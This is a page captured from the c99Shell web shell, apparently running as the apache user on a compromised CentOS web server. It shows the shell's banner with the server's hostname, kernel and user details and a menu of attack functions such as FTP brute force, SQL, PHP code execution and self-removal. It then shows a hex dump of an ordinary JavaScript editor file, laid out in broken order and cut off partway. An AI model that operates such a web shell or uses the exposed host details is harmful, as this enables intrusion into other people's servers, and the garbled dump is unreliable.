!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/editor/   drwxr-xr-x
Free 52.62 GB of 127.8 GB (41.17%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     quickB.js (23.38 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Information:
Path /var/www/html/manage/editor/quickB.js
Size 23.38 KB
MD5 1aa051824cc096594ad3527b3446a7c5
Owner/Group apache/apache
Perms-rw-r--r--
Create time 03/07/2013 18:31:17
Access time 11/07/2024 13:59:51
MODIFY time 22/07/2009 21:03:40

FULL HEXDUMP
00000000
00000018
00000030
00000048
00000060
00000078
00000090
000000A8
000000C0
000000D8
000000F0
00000108
00000120
00000138
00000150
00000168
00000180
00000198
000001B0
000001C8
000001E0
000001F8
00000210
00000228
00000240
00000258
00000270
00000288
000002A0
000002B8
000002D0
000002E8
00000300
00000318
00000330
00000348
00000360
00000378
00000390
000003A8
000003C0
000003D8
000003F0
00000408
00000420
00000438
00000450
00000468
00000480
00000498
000004B0
000004C8
000004E0
000004F8
00000510
00000528
00000540
00000558
00000570
00000588
000005A0
000005B8
000005D0
000005E8
00000600
00000618
00000630
00000648
00000660
00000678
00000690
000006A8
000006C0
000006D8
000006F0
00000708
00000720
00000738
00000750
00000768
00000780
00000798
000007B0
000007C8
000007E0
000007F8
00000810
00000828
00000840
00000858
00000870
00000888
000008A0
000008B8
000008D0
000008E8
00000900
00000918
00000930
00000948
00000960
00000978
00000990
000009A8
000009C0
000009D8
000009F0
00000A08
00000A20
00000A38
00000A50
00000A68
00000A80
00000A98
00000AB0
00000AC8
00000AE0
00000AF8
00000B10
00000B28
00000B40
00000B58
00000B70
00000B88
00000BA0
00000BB8
00000BD0
00000BE8
00000C00
00000C18
00000C30
00000C48
00000C60
00000C78
00000C90
00000CA8
00000CC0
00000CD8
00000CF0
00000D08
00000D20
00000D38
00000D50
00000D68
00000D80
00000D98
00000DB0
00000DC8
00000DE0
00000DF8
00000E10
00000E28
00000E40
00000E58
00000E70
00000E88
00000EA0
00000EB8
00000ED0
00000EE8
00000F00
00000F18
00000F30
00000F48
00000F60
00000F78
00000F90
00000FA8
00000FC0
00000FD8
00000FF0
00001008
00001020
00001038
00001050
00001068
00001080
00001098
000010B0
000010C8
000010E0
000010F8
00001110
00001128
00001140
00001158
00001170
00001188
000011A0
000011B8
000011D0
000011E8
00001200
00001218
00001230
00001248
00001260
00001278
00001290
000012A8
000012C0
000012D8
000012F0
00001308
00001320
00001338
00001350
00001368
00001380
00001398
000013B0
000013C8
000013E0
000013F8
00001410
00001428
00001440
00001458
00001470
00001488
000014A0
000014B8
000014D0
000014E8
00001500
00001518
00001530
00001548
00001560
00001578
00001590
000015A8
000015C0
000015D8
000015F0
00001608
00001620
00001638
00001650
00001668
00001680
00001698
000016B0
000016C8
000016E0
000016F8
00001710
00001728
00001740
00001758
00001770
00001788
000017A0
000017B8
000017D0
000017E8
00001800
00001818
00001830
00001848
00001860
00001878
00001890
000018A8
000018C0
000018D8
000018F0
00001908
00001920
00001938
00001950
00001968
00001980
00001998
000019B0
000019C8
000019E0
000019F8
00001A10
00001A28
00001A40
00001A58
00001A70
00001A88
00001AA0
00001AB8
00001AD0
00001AE8
00001B00
00001B18
00001B30
00001B48
00001B60
00001B78
00001B90
00001BA8
00001BC0
00001BD8
00001BF0
00001C08
00001C20
00001C38
00001C50
00001C68
00001C80
00001C98
00001CB0
00001CC8
00001CE0
00001CF8
00001D10
00001D28
00001D40
00001D58
00001D70
00001D88
00001DA0
00001DB8
00001DD0
00001DE8
00001E00
00001E18
00001E30
00001E48
00001E60
00001E78
00001E90
00001EA8
00001EC0
00001ED8
00001EF0
00001F08
00001F20
00001F38
00001F50
00001F68
00001F80
00001F98
00001FB0
00001FC8
00001FE0
00001FF8
00002010
00002028
00002040
00002058
00002070
00002088
000020A0
000020B8
000020D0
000020E8
00002100
00002118
00002130
00002148
00002160
00002178
00002190
000021A8
000021C0
000021D8
000021F0
00002208
00002220
00002238
00002250
00002268
00002280
00002298
000022B0
000022C8
000022E0
000022F8
00002310
00002328
00002340
00002358
00002370
00002388
000023A0
000023B8
000023D0
000023E8
00002400
00002418
00002430
00002448
00002460
00002478
00002490
000024A8
000024C0
000024D8
000024F0
00002508
00002520
00002538
00002550
00002568
00002580
00002598
000025B0
000025C8
000025E0
000025F8
00002610
00002628
00002640
00002658
00002670
00002688
000026A0
000026B8
000026D0
000026E8
00002700
00002718
00002730
00002748
00002760
00002778
00002790
000027A8
000027C0
000027D8
000027F0
00002808
00002820
00002838
00002850
00002868
00002880
00002898
000028B0
000028C8
000028E0
000028F8
00002910
00002928
00002940
00002958
00002970
00002988
000029A0
000029B8
000029D0
000029E8
00002A00
00002A18
00002A30
00002A48
00002A60
00002A78
00002A90
00002AA8
00002AC0
00002AD8
00002AF0
00002B08
00002B20
00002B38
00002B50
00002B68
00002B80
00002B98
00002BB0
00002BC8
00002BE0
00002BF8
00002C10
00002C28
00002C40
00002C58
00002C70
00002C88
00002CA0
00002CB8
00002CD0
00002CE8
00002D00
00002D18
00002D30
00002D48
00002D60
00002D78
00002D90
00002DA8
00002DC0
00002DD8
00002DF0
00002E08
00002E20
00002E38
00002E50
00002E68
00002E80
00002E98
00002EB0
00002EC8
00002EE0
00002EF8
00002F10
00002F28
00002F40
00002F58
00002F70
00002F88
00002FA0
00002FB8
00002FD0
00002FE8
00003000
00003018
00003030
00003048
00003060
00003078
00003090
000030A8
000030C0
000030D8
000030F0
00003108
00003120
00003138
00003150
00003168
00003180
00003198
000031B0
000031C8
000031E0
000031F8
00003210
00003228
00003240
00003258
00003270
00003288
000032A0
000032B8
000032D0
000032E8
00003300
00003318
00003330
00003348
00003360
00003378
00003390
000033A8
000033C0
000033D8
000033F0
00003408
00003420
00003438
00003450
00003468
00003480
00003498
000034B0
000034C8
000034E0
000034F8
00003510
00003528
00003540
00003558
00003570
00003588
000035A0
000035B8
000035D0
000035E8
00003600
00003618
00003630
00003648
00003660
00003678
00003690
000036A8
000036C0
000036D8
000036F0
00003708
00003720
00003738
00003750
00003768
00003780
00003798
000037B0
000037C8
000037E0
000037F8
00003810
00003828
00003840
00003858
00003870
00003888
000038A0
000038B8
000038D0
000038E8
00003900
00003918
00003930
00003948
00003960
00003978
00003990
000039A8
000039C0
000039D8
000039F0
00003A08
00003A20
00003A38
00003A50
00003A68
00003A80
00003A98
00003AB0
00003AC8
00003AE0
00003AF8
00003B10
00003B28
00003B40
00003B58
00003B70
00003B88
00003BA0
00003BB8
00003BD0
00003BE8
00003C00
00003C18
00003C30
00003C48
00003C60
00003C78
00003C90
00003CA8
00003CC0
00003CD8
00003CF0
00003D08
00003D20
00003D38
00003D50
00003D68
00003D80
00003D98
00003DB0
00003DC8
00003DE0
00003DF8
00003E10
00003E28
00003E40
00003E58
00003E70
00003E88
00003EA0
00003EB8
00003ED0
00003EE8
00003F00
00003F18
00003F30
00003F48
00003F60
00003F78
00003F90
00003FA8
00003FC0
00003FD8
00003FF0
00004008
00004020
00004038
00004050
00004068
00004080
00004098
000040B0
000040C8
000040E0
000040F8
00004110
00004128
00004140
00004158
00004170
00004188
000041A0
000041B8
000041D0
000041E8
00004200
00004218
00004230
00004248
00004260
00004278
00004290
000042A8
000042C0
000042D8
000042F0
00004308
00004320
00004338
00004350
00004368
00004380
00004398
000043B0
000043C8
000043E0
000043F8
00004410
00004428
00004440
00004458
00004470
00004488
000044A0
000044B8
000044D0
000044E8
00004500
00004518
00004530
00004548
00004560
00004578
00004590
000045A8
000045C0
000045D8
000045F0
00004608
00004620
00004638
00004650
00004668
00004680
00004698
000046B0
000046C8
000046E0
000046F8
00004710
00004728
00004740
00004758
00004770
00004788
000047A0
000047B8
000047D0
000047E8
00004800
00004818
00004830
00004848
00004860
00004878
00004890
000048A8
000048C0
000048D8
000048F0
00004908
00004920
00004938
00004950
00004968
00004980
00004998
000049B0
000049C8
000049E0
000049F8
00004A10
00004A28
00004A40
00004A58
00004A70
00004A88
00004AA0
00004AB8
00004AD0
00004AE8
00004B00
00004B18
00004B30
00004B48
00004B60
00004B78
00004B90
00004BA8
00004BC0
00004BD8
00004BF0
00004C08
00004C20
00004C38
00004C50
00004C68
00004C80
00004C98
00004CB0
00004CC8
00004CE0
00004CF8
00004D10
00004D28
00004D40
00004D58
00004D70
00004D88
00004DA0
00004DB8
00004DD0
00004DE8
00004E00
00004E18
00004E30
00004E48
00004E60
00004E78
00004E90
00004EA8
00004EC0
00004ED8
00004EF0
00004F08
00004F20
00004F38
00004F50
00004F68
00004F80
00004F98
00004FB0
00004FC8
00004FE0
00004FF8
00005010
00005028
00005040
00005058
00005070
00005088
000050A0
000050B8
000050D0
000050E8
00005100
00005118
00005130
00005148
00005160
00005178
00005190
000051A8
000051C0
000051D8
000051F0
00005208
00005220
00005238
00005250
00005268
00005280
00005298
000052B0
000052C8
000052E0
000052F8
00005310
00005328
00005340
00005358
00005370
00005388
000053A0
000053B8
000053D0
000053E8
00005400
00005418
00005430
00005448
00005460
00005478
00005490
000054A8
000054C0
000054D8
000054F0
00005508
00005520
00005538
00005550
00005568
00005580
00005598
000055B0
000055C8
000055E0
000055F8
00005610
00005628
00005640
00005658
00005670
00005688
000056A0
000056B8
000056D0
000056E8
00005700
00005718
00005730
00005748
00005760
00005778
00005790
000057A8
000057C0
000057D8
000057F0
00005808
00005820
00005838
00005850
00005868
00005880
00005898
000058B0
000058C8
000058E0
000058F8
00005910
00005928
00005940
00005958
00005970
00005988
000059A0
000059B8
000059D0
000059E8
00005A00
00005A18
00005A30
00005A48
00005A60
00005A78
00005A90
00005AA8
00005AC0
00005AD8
00005AF0
00005B08
00005B20
00005B38
00005B50
00005B68
00005B80
00005B98
00005BB0
00005BC8
00005BE0
00005BF8
00005C10
00005C28
00005C40
00005C58
00005C70
00005C88
00005CA0
00005CB8
00005CD0
00005CE8
00005D00
00005D18
00005D30
00005D48
00005D60
00005D78
0D 0A 76 61 72 20 66 49 44 3B 20 2F 2F 2A 2A 2A 20 49 46 52 41 4D 45 20
49 44 0D 0A 76 61 72 20 54 58 54 4F 42 4A 3B 20 2F 2F 2A 2A 2A 20 54 45
58 54 20 4F 62 6A 0D 0A 76 61 72 20 66 6F 72 6D 61 74 20 3D 20 6E 65 77
20 41 72 72 61 79 28 29 3B 0D 0A 76 61 72 20 76 69 65 77 6D 20 3D 20 6E
65 77 20 41 72 72 61 79 28 29 3B 0D 0A 0D 0A 0D 0A 2F 2A 2A 2A 2A 2A 2A
2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A
2A 2A 2A 2A 2A 2A 2A 2A 2F 0D 0A 64 6F 63 75 6D 65 6E 74 2E 6F 6E 6D 6F
75 73 65 64 6F 77 6E 3D 64 6F 4D 6F 75 73 65 64 6F 77 6E 0D 0A 64 6F 63
75 6D 65 6E 74 2E 6F 6E 6D 6F 75 73 65 75 70 3D 64 6F 4D 6F 75 73 65 75
70 0D 0A 0D 0A 0D 0A 66 75 6E 63 74 69 6F 6E 20 63 68 61 6E 67 65 74 6F
49 66 72 61 6D 65 45 64 69 74 6F 72 28 65 6C 29 0D 0A 7B 0D 0A 20 20 20
76 61 72 20 77 69 3D 20 27 27 2C 20 68 69 3D 20 27 27 3B 0D 0A 20 20 20
69 66 28 65 6C 2E 73 74 79 6C 65 2E 68 65 69 67 68 74 29 20 68 69 3D 20
22 20 68 65 69 67 68 74 3D 22 20 2B 20 65 6C 2E 73 74 79 6C 65 2E 68 65
69 67 68 74 0D 0A 20 20 20 65 6C 73 65 20 69 66 28 65 6C 2E 72 6F 77 73
29 20 68 69 3D 20 22 20 68 65 69 67 68 74 3D 22 20 2B 20 28 31 34 2A 65
6C 2E 72 6F 77 73 2B 32 38 29 0D 0A 20 20 20 69 66 28 65 6C 2E 73 74 79
6C 65 2E 77 69 64 74 68 29 20 77 69 3D 20 22 20 77 69 64 74 68 3D 22 20
2B 20 65 6C 2E 73 74 79 6C 65 2E 77 69 64 74 68 0D 0A 20 20 20 65 6C 73
65 20 69 66 28 65 6C 2E 63 6F 6C 73 29 20 77 69 3D 20 22 20 77 69 64 74
68 3D 22 20 2B 20 28 36 2A 65 6C 2E 63 6F 6C 73 20 2B 32 35 29 0D 0A 20
20 20 09 20 20 20 0D 0A 20 20 20 76 61 72 20 70 61 72 65 6E 74 3D 20 65
6C 2E 70 61 72 65 6E 74 45 6C 65 6D 65 6E 74 0D 0A 20 20 20 77 68 69 6C
65 28 70 61 72 65 6E 74 2E 74 61 67 4E 61 6D 65 20 21 3D 20 27 46 4F 52
4D 27 29 20 70 61 72 65 6E 74 3D 20 70 61 72 65 6E 74 2E 70 61 72 65 6E
74 45 6C 65 6D 65 6E 74 0D 0A 20 20 20 76 61 72 20 6F 66 6F 72 6D 3D 20
70 61 72 65 6E 74 0D 0A 20 20 20 76 61 72 20 66 69 64 78 3D 30 3B 20 77
68 69 6C 65 28 64 6F 63 75 6D 65 6E 74 2E 66 6F 72 6D 73 5B 66 69 64 78
5D 20 21 3D 20 6F 66 6F 72 6D 29 20 66 69 64 78 2B 2B 20 3B 20 2F 2F 20
66 6F 72 6D 20 69 6E 64 65 78 0D 0A 0D 0A 20 20 20 76 61 72 20 76 61 6C
3D 27 27 0D 0A 20 20 20 69 66 28 65 6C 2E 74 61 67 4E 61 6D 65 3D 3D 27
54 45 58 54 41 52 45 41 27 29 7B 20 66 49 44 3D 20 66 69 64 78 2B 27 56
44 65 76 49 44 27 2B 65 6C 2E 6E 61 6D 65 3B 20 76 61 6C 3D 20 65 6C 2E
69 6E 6E 65 72 54 65 78 74 20 7D 0D 0A 20 20 20 65 6C 73 65 20 66 49 44
3D 20 66 69 64 78 2B 27 56 44 65 76 49 44 27 2B 65 6C 2E 69 64 0D 0A 0D
0A 20 20 20 76 61 72 20 73 74 72 78 20 3D 20 63 72 65 61 74 65 45 64 69
74 6F 72 28 66 49 44 2C 77 69 2C 68 69 29 3B 0D 0A 20 20 20 65 6C 2E 6F
75 74 65 72 48 54 4D 4C 3D 20 73 74 72 78 0D 0A 20 20 20 0D 0A 20 20 20
69 45 64 69 74 6F 72 28 66 49 44 29 0D 0A 0D 0A 20 20 20 69 66 28 65 6C
2E 74 61 67 4E 61 6D 65 21 3D 27 54 45 58 54 41 52 45 41 27 29 20 72 65
74 75 72 6E 0D 0A 20 20 20 09 20 20 20 0D 0A 20 20 20 76 61 72 20 72 65
67 3D 20 65 76 61 6C 28 22 2F 3C 62 72 3E 2F 69 22 29 20 3B 0D 0A 20 20
20 69 66 28 20 72 65 67 2E 74 65 73 74 28 76 61 6C 29 20 29 20 76 61 6C
3D 20 76 61 6C 2E 72 65 70 6C 61 63 65 28 2F 5C 6E 2F 67 2C 20 22 22 29
3B 0D 0A 20 20 20 65 6C 73 65 20 76 61 6C 3D 20 76 61 6C 2E 72 65 70 6C
61 63 65 28 2F 5C 6E 2F 67 2C 20 22 3C 62 72 3E 22 29 3B 0D 0A 0D 0A 20
20 20 76 61 6C 3D 20 76 61 6C 2E 72 65 70 6C 61 63 65 28 2F 5C 72 2F 67
2C 20 22 22 29 3B 0D 0A 20 20 20 76 61 6C 3D 20 76 61 6C 2E 72 65 70 6C
61 63 65 28 2F 5C 74 2F 67 2C 20 22 22 29 3B 0D 0A 0D 0A 20 20 20 76 61
6C 3D 20 76 61 6C 2E 72 65 70 6C 61 63 65 28 2F 5C 5C 2F 67 2C 20 22 26
23 39 32 22 29 3B 0D 0A 20 20 20 76 61 6C 3D 20 76 61 6C 2E 72 65 70 6C
61 63 65 28 2F 5C 27 2F 67 2C 20 22 26 23 33 39 3B 22 29 3B 0D 0A 0D 0A
20 20 20 73 65 74 54 69 6D 65 6F 75 74 28 22 64 6F 63 75 6D 65 6E 74 2E
66 72 61 6D 65 73 5B 27 22 2B 66 49 44 2B 22 27 5D 2E 64 6F 63 75 6D 65
6E 74 2E 62 6F 64 79 2E 69 6E 6E 65 72 48 54 4D 4C 3D 27 22 2B 76 61 6C
2B 22 27 22 2C 32 30 30 29 0D 0A 20 20 20 6F 66 6F 72 6D 5B 66 49 44 2E
73 70 6C 69 74 28 27 56 44 65 76 49 44 27 29 5B 31 5D 5D 2E 76 61 6C 75
65 3D 20 76 61 6C 0D 0A 0D 0A 7D 0D 0A 0D 0A 0D 0A 66 75 6E 63 74 69 6F
6E 20 69 45 64 69 74 6F 72 28 69 64 46 29 0D 0A 7B 0D 0A 20 20 76 61 72
20 6F 62 6A 3D 64 6F 63 75 6D 65 6E 74 2E 66 72 61 6D 65 73 5B 69 64 46
5D 0D 0A 20 20 6F 62 6A 2E 64 6F 63 75 6D 65 6E 74 2E 64 65 73 69 67 6E
4D 6F 64 65 3D 22 4F 6E 22 0D 0A 20 20 6F 62 6A 2E 64 6F 63 75 6D 65 6E
74 2E 6F 6E 6D 6F 75 73 65 64 6F 77 6E 3D 20 66 75 6E 63 74 69 6F 6E 28
29 7B 20 20 54 58 54 4F 42 4A 3D 6E 75 6C 6C 3B 20 66 49 44 3D 69 64 46
3B 20 46 4D 6F 75 73 65 64 6F 77 6E 28 29 3B 7D 0D 0A 20 20 0D 0A 20 20
66 6F 72 6D 61 74 5B 69 64 46 5D 3D 27 48 54 4D 4C 27 0D 0A 20 20 76 69
65 77 6D 5B 69 64 46 5D 3D 31 3B 0D 0A 7D 0D 0A 0D 0A 0D 0A 66 75 6E 63
74 69 6F 6E 20 66 6F 72 6D 61 74 44 69 61 6C 6F 67 46 28 29 0D 0A 7B 0D
0A 20 20 76 61 72 20 79 20 3D 20 73 63 72 65 65 6E 2E 68 65 69 67 68 74
20 2D 20 70 61 72 73 65 49 6E 74 28 27 33 30 65 6D 27 29 2A 31 34 20 2D
20 33 30 20 0D 0A 20 20 76 61 72 20 66 65 61 74 75 72 65 20 3D 20 22 66
6F 6E 74 2D 66 61 6D 69 6C 79 3A 54 61 68 6F 6D 61 3B 20 66 6F 6E 74 2D
73 69 7A 65 3A 31 30 70 74 3B 20 64 69 61 6C 6F 67 57 69 64 74 68 3A 33
30 65 6D 3B 20 64 69 61 6C 6F 67 48 65 69 67 68 74 3A 32 37 65 6D 3B 20
64 69 61 6C 6F 67 54 6F 70 3A 22 2B 79 0D 0A 20 20 20 20 20 20 66 65 61
74 75 72 65 2B 3D 20 22 3B 65 64 67 65 3A 73 75 6E 6B 65 6E 3B 20 68 65
6C 70 3A 6E 6F 3B 20 73 74 61 74 75 73 3A 6E 6F 22 0D 0A 0D 0A 20 20 76
61 72 20 64 69 61 6C 6F 67 3D 20 51 42 50 41 54 48 2B 27 2F 64 69 61 6C
6F 67 2E 68 74 6D 6C 27 0D 0A 20 20 76 61 72 20 61 72 72 3D 20 73 68 6F
77 4D 6F 64 61 6C 44 69 61 6C 6F 67 28 64 69 61 6C 6F 67 2C 20 22 76 69
73 75 61 6C 22 2C 20 66 65 61 74 75 72 65 29 3B 0D 0A 20 20 69 66 28 61
72 72 3D 3D 6E 75 6C 6C 29 20 72 65 74 75 72 6E 20 3B 20 0D 0A 0D 0A 20
20 64 6F 46 6F 72 6D 61 74 46 28 61 72 72 29 0D 0A 20 20 09 20 20 0D 0A
7D 0D 0A 0D 0A 0D 0A 66 75 6E 63 74 69 6F 6E 20 46 4D 6F 75 73 65 64 6F
77 6E 28 29 0D 0A 7B 0D 0A 20 20 76 61 72 20 6F 62 6A 46 3D 64 6F 63 75
6D 65 6E 74 2E 66 72 61 6D 65 73 5B 66 49 44 5D 3B 0D 0A 20 2F 2F 20 69
66 28 6F 62 6A 46 20 26 26 20 6F 62 6A 46 2E 65 76 65 6E 74 20 26 26 20
6F 62 6A 46 2E 65 76 65 6E 74 2E 62 75 74 74 6F 6E 3D 3D 32 29 20 66 6F
72 6D 61 74 44 69 61 6C 6F 67 46 28 29 3B 0D 0A 0D 0A 20 20 76 61 72 20
65 6C 20 3D 20 6F 62 6A 46 2E 65 76 65 6E 74 2E 73 72 63 45 6C 65 6D 65
6E 74 20 0D 0A 20 20 64 6F 43 6C 69 63 6B 28 65 6C 29 0D 0A 7D 0D 0A 0D
0A 0D 0A 2F 2F 20 69 6E 69 74 20 61 6C 6C 20 66 6F 75 6E 64 20 54 45 58
54 41 52 45 41 20 69 6E 20 64 6F 63 75 6D 65 6E 74 0D 0A 66 75 6E 63 74
69 6F 6E 20 63 68 61 6E 67 65 41 6C 6C 54 65 78 74 61 72 65 61 54 6F 45
64 69 74 6F 72 73 28 29 0D 0A 7B 0D 0A 20 20 76 61 72 20 69 3D 30 3B 0D
0A 20 20 77 68 69 6C 65 28 64 6F 63 75 6D 65 6E 74 2E 61 6C 6C 2E 74 61
67 73 28 27 74 65 78 74 61 72 65 61 27 29 5B 69 5D 29 0D 0A 20 20 20 7B
20 0D 0A 20 20 20 20 63 68 61 6E 67 65 74 6F 49 66 72 61 6D 65 45 64 69
74 6F 72 28 64 6F 63 75 6D 65 6E 74 2E 61 6C 6C 2E 74 61 67 73 28 27 74
65 78 74 61 72 65 61 27 29 5B 69 5D 29 0D 0A 09 69 66 28 2B 2B 69 3E 30
20 26 26 20 21 64 6F 63 75 6D 65 6E 74 2E 61 6C 6C 2E 74 61 67 73 28 27
74 65 78 74 61 72 65 61 27 29 5B 69 5D 20 29 20 69 3D 30 3B 0D 0A 20 20
20 7D 0D 0A 0D 0A 7D 0D 0A 0D 0A 0D 0A 2F 2F 20 69 6E 69 74 20 61 6C 6C
20 66 6F 75 6E 64 20 49 46 52 41 4D 45 20 69 6E 20 64 6F 63 75 6D 65 6E
74 20 74 6F 20 45 64 69 74 61 62 6C 65 0D 0A 66 75 6E 63 74 69 6F 6E 20
63 68 61 6E 67 65 41 6C 6C 49 66 72 61 6D 65 54 6F 45 64 69 74 6F 72 73
28 29 0D 0A 7B 0D 0A 20 20 76 61 72 20 69 3D 30 3B 0D 0A 20 20 77 68 69
6C 65 28 64 6F 63 75 6D 65 6E 74 2E 61 6C 6C 2E 74 61 67 73 28 27 69 66
72 61 6D 65 27 29 5B 69 5D 29 0D 0A 20 20 7B 20 0D 0A 09 63 68 61 6E 67
65 74 6F 49 66 72 61 6D 65 45 64 69 74 6F 72 28 64 6F 63 75 6D 65 6E 74
2E 61 6C 6C 2E 74 61 67 73 28 27 69 66 72 61 6D 65 27 29 5B 69 5D 29 0D
0A 09 69 2B 2B 0D 0A 20 20 7D 0D 0A 0D 0A 7D 0D 0A 0D 0A 0D 0A 2F 2F 20
69 6E 69 74 20 6F 6E 6C 79 20 49 46 52 41 4D 45 73 20 74 68 61 74 20 68
61 76 65 20 22 69 64 3D 61 72 67 75 6D 65 6E 74 20 6F 66 20 69 6E 69 74
45 64 69 74 6F 72 73 22 0D 0A 2F 2F 20 65 2E 67 2E 20 63 68 61 6E 67 65
49 66 72 61 6D 65 54 6F 45 64 69 74 6F 72 28 27 69 64 31 27 2C 27 69 64
32 27 2C 2E 2E 2E 29 0D 0A 66 75 6E 63 74 69 6F 6E 20 63 68 61 6E 67 65
49 66 72 61 6D 65 54 6F 45 64 69 74 6F 72 28 29 0D 0A 7B 0D 0A 20 20 66
6F 72 28 76 61 72 20 6A 3D 30 3B 6A 3C 61 72 67 75 6D 65 6E 74 73 2E 6C
65 6E 67 74 68 3B 6A 2B 2B 29 0D 0A 20 20 20 7B 0D 0A 20 20 20 20 20 76
61 72 20 69 3D 30 3B 0D 0A 09 20 77 68 69 6C 65 28 64 6F 63 75 6D 65 6E
74 2E 61 6C 6C 2E 74 61 67 73 28 27 69 66 72 61 6D 65 27 29 5B 69 5D 29
0D 0A 09 20 20 7B 20 0D 0A 09 09 69 66 28 64 6F 63 75 6D 65 6E 74 2E 61
6C 6C 2E 74 61 67 73 28 27 69 66 72 61 6D 65 27 29 5B 69 5D 2E 69 64 20
3D 3D 20 61 72 67 75 6D 65 6E 74 73 5B 6A 5D 29 0D 0A 09 09 20 20 7B 20
63 68 61 6E 67 65 74 6F 49 66 72 61 6D 65 45 64 69 74 6F 72 28 64 6F 63
75 6D 65 6E 74 2E 61 6C 6C 2E 74 61 67 73 28 27 69 66 72 61 6D 65 27 29
5B 69 5D 29 3B 20 62 72 65 61 6B 3B 20 7D 0D 0A 09 20 20 20 20 69 2B 2B
0D 0A 09 20 20 7D 0D 0A 20 20 20 7D 0D 0A 7D 0D 0A 0D 0A 0D 0A 0D 0A 2F
2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F
2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F
2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 2F 0D 0A 66 75 6E 63 74 69
6F 6E 20 20 63 6F 6E 74 72 6F 6C 52 6F 77 73 28 29 0D 0A 7B 0D 0A 20 20
69 75 72 6C 3D 20 51 42 50 41 54 48 20 2B 20 27 2F 69 6D 67 65 64 69 74
27 0D 0A 0D 0A 20 20 73 74 72 20 3D 20 22 3C 54 52 20 62 67 43 6F 6C 6F
72 3D 23 45 41 45 41 45 41 20 61 6C 69 67 6E 3D 6C 65 66 74 20 76 61 6C
69 67 6E 3D 6D 69 64 64 6C 65 20 3E 5C 0D 0A 3C 53 54 59 4C 45 3E 49 4D
47 20 7B 63 75 72 73 6F 72 3A 68 61 6E 64 7D 3C 2F 53 54 59 4C 45 3E 5C
0D 0A 3C 54 44 20 6E 6F 77 72 61 70 3E 5C 0D 0A 3C 53 45 4C 45 43 54 20
6E 61 6D 65 3D 27 51 42 43 4E 54 52 4C 31 27 20 6F 6E 63 68 61 6E 67 65
3D 27 64 6F 46 6F 72 6D 61 74 46 28 5C 22 46 6F 6E 74 4E 61 6D 65 2C 5C
22 2B 74 68 69 73 2E 76 61 6C 75 65 29 27 20 73 74 79 6C 65 3D 27 68 65
69 67 68 74 3A 32 32 3B 20 77 69 64 74 68 3A 31 36 35 3B 20 62 61 63 6B
67 72 6F 75 6E 64 3A 23 45 41 45 41 45 41 3B 20 63 6F 6C 6F 72 3A 23 30
30 30 30 30 30 3B 20 66 6F 6E 74 2D 73 69 7A 65 3A 31 32 70 78 27 3E 5C
0D 0A 3C 4F 50 54 49 4F 4E 20 76 61 6C 75 65 3D 27 4D 53 20 53 61 6E 73
20 53 65 72 69 66 27 3E 53 65 6C 65 63 74 20 46 6F 6E 74 5C 0D 0A 3C 4F
50 54 49 4F 4E 20 76 61 6C 75 65 3D 27 4D 53 20 53 61 6E 73 20 53 65 72
69 66 27 3E 46 6F 6E 74 3D 27 4D 53 20 53 61 6E 73 20 53 65 72 69 66 27
5C 0D 0A 3C 4F 50 54 49 4F 4E 20 76 61 6C 75 65 3D 27 54 61 68 6F 6D 61
27 3E 46 6F 6E 74 3D 27 54 61 68 6F 6D 61 27 5C 0D 0A 3C 4F 50 54 49 4F
4E 20 76 61 6C 75 65 3D 27 4D 69 63 72 6F 73 6F 66 74 20 53 61 6E 73 20
53 65 72 69 66 27 3E 46 6F 6E 74 3D 27 4D 69 63 72 6F 73 6F 66 74 20 53
61 6E 73 20 53 65 72 69 66 27 5C 0D 0A 3C 4F 50 54 49 4F 4E 20 76 61 6C
75 65 3D 27 41 6E 67 73 61 6E 61 55 50 43 27 3E 46 6F 6E 74 3D 27 41 6E
67 73 61 6E 61 55 50 43 27 5C 0D 0A 3C 4F 50 54 49 4F 4E 20 76 61 6C 75
65 3D 27 41 72 69 61 6C 27 3E 46 6F 6E 74 3D 27 41 72 69 61 6C 27 5C 0D
0A 3C 4F 50 54 49 4F 4E 20 76 61 6C 75 65 3D 27 54 69 6D 65 73 20 4E 65
77 20 52 6F 6D 61 6E 27 3E 46 6F 6E 74 3D 27 54 69 6D 65 73 20 4E 65 77
20 52 6F 6D 61 6E 27 5C 0D 0A 3C 4F 50 54 49 4F 4E 20 76 61 6C 75 65 3D
27 43 6F 75 72 69 65 72 20 4E 65 77 27 3E 46 6F 6E 74 3D 27 43 6F 75 72
69 65 72 20 4E 65 77 27 5C 0D 0A 3C 2F 53 45 4C 45 43 54 3E 5C 0D 0A 3C
53 45 4C 45 43 54 20 6E 61 6D 65 3D 27 51 42 43 4E 54 52 4C 33 27 20 6F
6E 63 68 61 6E 67 65 3D 27 64 6F 46 6F 72 6D 61 74 46 28 5C 22 46 6F 6E
74 53 69 7A 65 2C 5C 22 2B 74 68 69 73 2E 76 61 6C 75 65 29 27 20 73 74
79 6C 65 3D 27 68 65 69 67 68 74 3A 32 32 3B 20 77 69 64 74 68 3A 31 31
35 3B 20 62 61 63 6B 67 72 6F 75 6E 64 3A 23 45 41 45 41 45 41 3B 20 63
6F 6C 6F 72 3A 23 30 30 30 30 30 30 3B 20 66 6F 6E 74 2D 73 69 7A 65 3A
31 32 70 78 27 3E 5C 0D 0A 3C 4F 50 54 49 4F 4E 20 76 61 6C 75 65 3D 32
3E 46 6F 6E 74 20 53 69 7A 65 5C 0D 0A 3C 4F 50 54 49 4F 4E 20 76 61 6C
75 65 3D 37 3E 53 69 7A 65 3D 37 5C 0D 0A 3C 4F 50 54 49 4F 4E 20 76 61
